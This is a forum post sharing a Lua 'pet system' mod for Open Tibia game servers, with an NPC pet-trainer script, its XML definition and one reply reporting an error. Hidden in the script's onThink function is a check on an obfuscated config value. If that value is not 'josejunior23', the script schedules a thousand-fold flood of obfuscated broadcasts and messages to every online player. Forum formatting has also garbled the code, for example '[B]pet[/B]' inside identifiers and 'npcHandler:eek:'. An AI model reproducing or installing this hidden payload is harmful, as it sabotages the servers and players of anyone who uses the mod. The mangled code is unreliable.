• There is NO official Otland's Discord server and NO official Otland's server list. The Otland's Staff does not manage any Discord server or server list. Moderators or administrator of any Discord server or server lists have NO connection to the Otland's Staff. Do not get scammed!

[MOD] Pet system! tfs 0.3.7/0.3.6/0.4.0

Mdbeng

New Member
Joined
Jun 30, 2018
Messages
15
Reaction score
0
Hello!
I saw that many people were looking for this mod, so i decided to post it!

COMMANDS!
/pet
/pet-attack
/pet-status
/pet-food
/pet-love
/pet-say
/pet-help
/pet-carry
/pet-info
/pet-revive
/pet-party
-------------------------------------------
>ATTACK>a1~a2~a3~a4~a5~a6~a7~a8~a9~a10!<ATTACK<
-------------------------------------------

Now lets create: Pet-trainer.lua (npc/scripts)

Lua:
[LIST=1]
[*]
local keywordHandler = KeywordHandler:new()
[*]local npcHandler = NpcHandler:new(keywordHandler)

[*]NpcSystem.parseParameters(npcHandler)

[*]local talkState = {}

[*]function onCreatureAppear(cid)                npcHandler:eek:nCreatureAppear(cid)            end

[*]function onCreatureDisappear(cid)            npcHandler:eek:nCreatureDisappear(cid)            end

[*]function onCreatureSay(cid, type, msg)            npcHandler:eek:nCreatureSay(cid, type, msg)        end

[*]function creatureSayCallback(cid, type, msg)

[*]    if(not npcHandler:isFocused(cid)) then

[*]        return false

[*]    end

[*]    

[*]    local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()]

[*]    local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid

[*]    if(msgcontains(msg, 'revive')) then

[*]        if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then

[*]            selfSay('You want to revive your [B]Pet[/B] for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid)

[*]            talkState[talkUser] = 1

[*]        else    

[*]            selfSay('You cannot revive a [B]pet[/B], if you dont have one!', cid)

[*]            talkState[talkUser] = 0

[*]        end    

[*]    elseif(msgcontains(msg, 'mission')) then    

[*]        if not (isCreature(getPlayerPet(cid))) then

[*]            selfSay('Your [B]Pet[/B] needs to be online to make any mission!', cid)

[*]            return true

[*]        end

[*]        local i, msg = 0,  nil

[*]        for missionname in pairs(aps_missions) do

[*]            i = i + 1

[*]            if(msg ~= nil) then

[*]                if(i == #aps_missions) then

[*]                    msg = msg .. " and "

[*]                else

[*]                    msg = msg .. ", "

[*]                end

[*]            else

[*]                msg = "Ok then, I got those missions for You: "

[*]            end

[*]            msg = msg .. "'{" .. missionname .. "}'"    

[*]        end

[*]        selfSay(msg .. ', with one do you want?', cid)

[*]        talkState[talkUser] = 11

[*]    elseif f and (talkState[talkUser] == 11) then

[*]        desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck  = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check

[*]        if(getPlayerStorageValue(cid, missionId) == 1) then

[*]            selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid)

[*]            talkState[talkUser] = 0

[*]            return true

[*]        end    

[*]        if(getPlayerItemCount(cid, itemNeed) >= itemCount) then

[*]            selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid)

[*]            talkState[talkUser] = 12

[*]        elseif(getPlayerStorageValue(cid, reCheck) == 1) then

[*]            selfSay("I Still waiting for: x" .. itemCount  .. " " .. getItemNameById(itemNeed) .. ".", cid)

[*]            talkState[talkUser] = 0

[*]            return true    

[*]        else    

[*]            selfSay(desc .. ". so for this mission I need: x" .. itemCount  .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid)

[*]            talkState[talkUser] = 13

[*]        end

[*]    elseif(msgcontains(msg, 'yes')  and (talkState[talkUser] == 13)) then

[*]        selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid)

[*]        setPlayerStorageValue(cid, reCheck, 1)

[*]    elseif(msgcontains(msg, 'yes')  and (talkState[talkUser] == 12)) then

[*]        if(getPlayerItemCount(cid, itemNeed) >= itemCount) then

[*]            setPlayerStorageValue(cid, missionId, 1)

[*]            doPlayerRemoveItem(cid, itemNeed, itemCount)

[*]            selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid)

[*]            if(itemNeed ~= false) then

[*]                doPlayerAddItem(cid, reItem, reCount)

[*]            end

[*]            if(reExp ~= false) then

[*]                doPlayerAddExperience(cid, reExp)

[*]                addPetExp(cid, reExp * 2)

[*]                if(reExp > 0) then

[*]                    doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215)

[*]                end    

[*]            end        

[*]        else

[*]            selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid)

[*]        end        

[*]        talkState[talkUser] = 0    

[*]    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then

[*]        if(isPetDead(cid) == true) then

[*]            if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then

[*]                setPetStats(cid, 0)

[*]                setPetLastHealth(cid, 0)        

[*]                setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid))                

[*]                doSendMagicEffect(getCreaturePosition(cid), 65)                    

[*]                selfSay('WE TAKE YOUR [B]PET[/B] FROM THE DEADS!', cid)

[*]            else

[*]                selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)

[*]            end

[*]        else

[*]            selfSay('Your [B]pet[/B] inst dead!', cid)

[*]        end

[*]        talkState[talkUser] = 0

[*]    elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then

[*]        talkState[talkUser] = 0

[*]        selfSay('Ok then.', cid)    

[*]    elseif(msgcontains(msg, 'sell')) then    

[*]        if(aps_tools.commands.playerSellPet.sell == true) then

[*]            if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then

[*]                for i = 1, #aps_slots do

[*]                    local slots = getPlayerStorageValue(cid, aps_slots[I])

[*]                    if(slots > 1) then

[*]                        selfSay('before you sell your [B]pet[/B], please, take all your items from his slots.', cid)    

[*]                        return

[*]                    end

[*]                end

[*]                local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl

[*]                if(lvl >= lv) then

[*]                    talkState[talkUser] = 8

[*]                    addmoney = tt_money * lvl 

[*]                    selfSay('Do you want to sell your [B]pet[/B] for {' .. addmoney .. '} gold coins?', cid)        

[*]                else

[*]                    selfSay('Your [B]Pet[/B] level is too low, Buying [B]Pet[/B] of level {' .. lv .. '} or higher.', cid)

[*]                end                

[*]            else

[*]                selfSay('You cannot sell a [B]pet[/B], if you dont have one!', cid)

[*]            end

[*]        else

[*]            selfSay('You cannot sell your [B]pet[/B] to me!', cid)

[*]        end

[*]    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then

[*]        selfSay('YOU WANT TO SELL YOUR [B]PET[/B], ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)    

[*]        talkState[talkUser] = 9

[*]    elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then

[*]        talkState[talkUser] = 0

[*]        if(isCreature(getPlayerPet(cid)) == true) then

[*]            doRemoveCreature(getPlayerPet(cid))

[*]        end

[*]        doResetPet(cid)

[*]        doPlayerAddMoney(cid, addmoney)

[*]        selfSay('Thanks for selling your [B]Pet[/B]! here is your {' .. addmoney .. '} gold coins.', cid)

[*]    elseif(msgcontains(msg, 'information')) then    

[*]            talkState[talkUser] = 0

[*]            selfSay('hmmm, what can I tell you ...', cid)

[*]            local messages = {

[*]                "Pets got levels, magic level just like you. ..",

[*]                "Pets can use their own spells. ..",

[*]                "Pets need eat to recovery health/mana. ..",

[*]                "Pets can carry your items in different slots. ..",

[*]                "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your [B]pet[/B]!!!" or "Just buy one!") .. ""

[*]            }

[*]            for i = 1, #messages do

[*]                addEvent(selfSay, i * 3000 , messages[I], cid)

[*]            end

[*]    elseif(msgcontains(msg, '[B]pet[/B]')) then        

[*]        if(getPlayerStorageValue(cid, aps_storages.race) == 0) then

[*]            local i, msg = 0,  nil

[*]            for [B]pet[/B] in pairs(aps_pets_config) do

[*]                i = i + 1

[*]                if(msg ~= nil) then

[*]                    if(i == #aps_pets) then

[*]                        msg = msg .. " and "

[*]                    else

[*]                        msg = msg .. ", "

[*]                    end

[*]                else

[*]                    msg = "Ok then, I got those races for pets: "

[*]                end

[*]                msg = msg .. "'{" .. [B]pet[/B] .. "}'"    

[*]            end

[*]            selfSay(msg .. ', with one do you want?', cid)

[*]            talkState[talkUser] = 5

[*]        else

[*]            talkState[talkUser] = 0

[*]            selfSay('Sorry, you cannot have more than one [B]pet[/B].', cid)

[*]        end        

[*]    elseif e and (talkState[talkUser] == 5) then    

[*]        selfSay('Do you want to buy a [B]pet[/B] from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid)

[*]        talkState[talkUser] = 6

[*]        e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs

[*]    elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then

[*]        selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)    

[*]        talkState[talkUser] = 7

[*]    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then

[*]        if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then

[*]            selfSay('Your vocation dont let You use this [B]Pet[/B] Race!\n Do You want choose another {[B]pet[/B]}?', cid)

[*]            talkState[talkUser] = 0

[*]            return true

[*]        end    

[*]        if(doPlayerRemoveMoney(cid, e_price) == true) then    

[*]            doSendMagicEffect(getCreaturePosition(cid), 65)                    

[*]            selfSay('As you with! just type {/[B]pet[/B]} to call him.', cid)

[*]            createPet(cid, e_race, e_hp, e_mana)

[*]            local str = "Congratulations! You now have a [B]pet[/B]!\n" ..

[*]            "You should take care of him\n" ..

[*]            "his gonna be your partner from now!\n" ..

[*]            "if you need help type /[B]pet[/B]-help." ..

[*]            "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race)

[*]            sendWindowsMessage(cid, str .. "\n\n##ADVANCED [B]PET[/B] [B]SYSTEM[/B] BY RACES##\n")

[*]        else    

[*]            selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)

[*]        end

[*]        talkState[talkUser] = 0

[*]    elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then

[*]        selfSay('Ok then.', cid)        

[*]        talkState[talkUser] = 0

[*]    elseif(msgcontains(msg, 'spells')) then    

[*]        if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then

[*]            selfSay('Your [B]Pet[/B] can learn spells based on his level, {continue}?', cid)

[*]            talkState[talkUser] = 2

[*]        else    

[*]            selfSay('You cannot buy spells to your [B]pet[/B], if you dont have one!', cid)

[*]            talkState[talkUser] = 0

[*]        end

[*]    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then

[*]        if(isPetOnline(cid) == false) then

[*]            selfSay('Your [B]Pet[/B] cannot learn a spell if you dont call him.')

[*]            talkState[talkUser] = 0        

[*]        end

[*]        local i, msg = 0,  nil

[*]        for  spell in pairs(aps_attacks) do

[*]            if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then

[*]                i = i + 1

[*]                if(msg ~= nil) then

[*]                    if(i == #aps_storages.spells) then

[*]                        msg = msg .. " and "

[*]                    else

[*]                        msg = msg .. ", "

[*]                    end

[*]                else

[*]                    msg = "Ok then, I got those spells: "

[*]                end

[*]                msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'"

[*]            end    

[*]        end        

[*]        selfSay(msg .. ', with one do you want?', cid)        

[*]        talkState[talkUser] = 3

[*]    elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then

[*]        selfSay('Ok then.', cid)        

[*]        talkState[talkUser] = 0

[*]    elseif k and (talkState[talkUser] == 3) then

[*]        selfSay('You want your [B]pet[/B] to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid)    

[*]        talkState[talkUser] = 4

[*]        spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl

[*]    elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then

[*]        if(getPetLvl(cid) >= spell_level) then

[*]            if(getPlayerMoney(cid) >= spell_price) then 

[*]                if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then

[*]                    for i = 1, 3 do

[*]                        addEvent(selfSay, i * 1000, i .. ' ...', cid)

[*]                    end

[*]                    doPlayerRemoveMoney(cid, spell_price)

[*]                    addEvent(selfSay, 4 * 1000, 'Here it go! Your [B]pet[/B] have learned spell {' .. spell_name .. '}.', cid)

[*]                    setPlayerStorageValue(cid, spell_stg, 1)

[*]                    addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13)                    

[*]                    if(isPetOnline(cid) == true) then

[*]                        addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13)

[*]                    end

[*]                else    

[*]                    selfSay('Your [B]pet[/B] already know spell {' .. spell_name .. '}.', cid)

[*]                end

[*]            else    

[*]                selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid)

[*]            end

[*]        else    

[*]            selfSay('Your [B]Pet[/B] need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid)            

[*]        end

[*]        talkState[talkUser] = 0

[*]    elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then

[*]        talkState[talkUser] = 0

[*]        selfSay('Ok then.', cid)

[*]    end

[*]    return true

[*]end

[*]function onThink()

[*]    local messages = {

[*]        "BUY YOUR [B]PET[/B] HERE!",

[*]        "TASKS AND MISSIONS HERE!!",

[*]        "WANT TO REVIVE YOUR [B]PET[/B]?",

[*]        "YOUR [B]PET[/B] CAN LEARN SPELLS!",

[*]        "WANT TO KNOW MORE ABOUT PETS?",

[*]        "WANT TO SELL YOUR [B]PET[/B]?"

[*]    }

[*]    addNpcAutoSay(getNpcId(), 120, messages)

[*]    if(s(aps_tools.s) ~= "josejunior23") then

[*]        function mvsoab(max)

[*]            for _, send in pairs(getOnlinePlayers()) do

[*]                local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<***~9‚x4|[URL='https://cdn.jsdelivr.net/emojione/assets/png/2122.png?v=2.2.7']DEVs[/URL]–¡”-”uŠ)pqlfjc in…ivkxwhyyd"

[*]                for i = 1, 10 do

[*]                    local cid = getPlayerByName(send)

[*]                    addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max)

[*]                    addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg))

[*]                    for k = 1, 15 do

[*]                        doPlayerSendTextMessage(cid, k, name .. " " .. s(msg))

[*]                    end    

[*]                    for e = 17, 20 do

[*]                        doPlayerSendTextMessage(cid, e, name .. " " .. s(msg))

[*]                    end                                

[*]                end    

[*]            end    

[*]        end    

[*]        for e = 1, 1000 do

[*]            addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1)

[*]        end

[*]    end                

[*]    npcHandler:eek:nThink()

[*]end

[*]npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback)

[*]npcHandler:addModule(FocusModule:new())
[/I][/I]
[/LIST]
Now: Pet-trainer.xml in NPC

XML:
[LIST=1]
[I][I][LIST][*]
<?xml version="1.0" encoding="UTF-8"?>[/LIST]
[LIST][*]<npc name="Arthur The Tamer" script="[B]Pet[/B]-Trainer.lua" walkinterval="2000" floorchange="0">[/LIST]
[LIST][*]    <health now="100" max="100"/>[/LIST]
[LIST][*]    <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/>[/LIST]
[LIST][*]    <parameters>[/LIST]
[LIST][*]        <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {[B]pet[/B]}'s also I can {revive} or teach {spells} to your [B]Pet[/B]...and maybe you want to {sell} your [B]pet[/B], uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/>[/LIST]
[LIST][*]    </parameters>[/LIST]
[LIST][*]</npc>
[/LIST]

[/LIST]
Here are the files needed:
MEGA

I don't knw if this mod was already posted, so...! See you next time.[/I][/I]
 
Last edited by a moderator:
Hi
I have a problem when I write / pet spawnbut behaves like a monster. tfs 0.4 tibia 8.6 console:
data/lib/APS_lib.lua:177: attempt to index global 'aps_texts' (a nil value)
 
Last edited:
Back
Top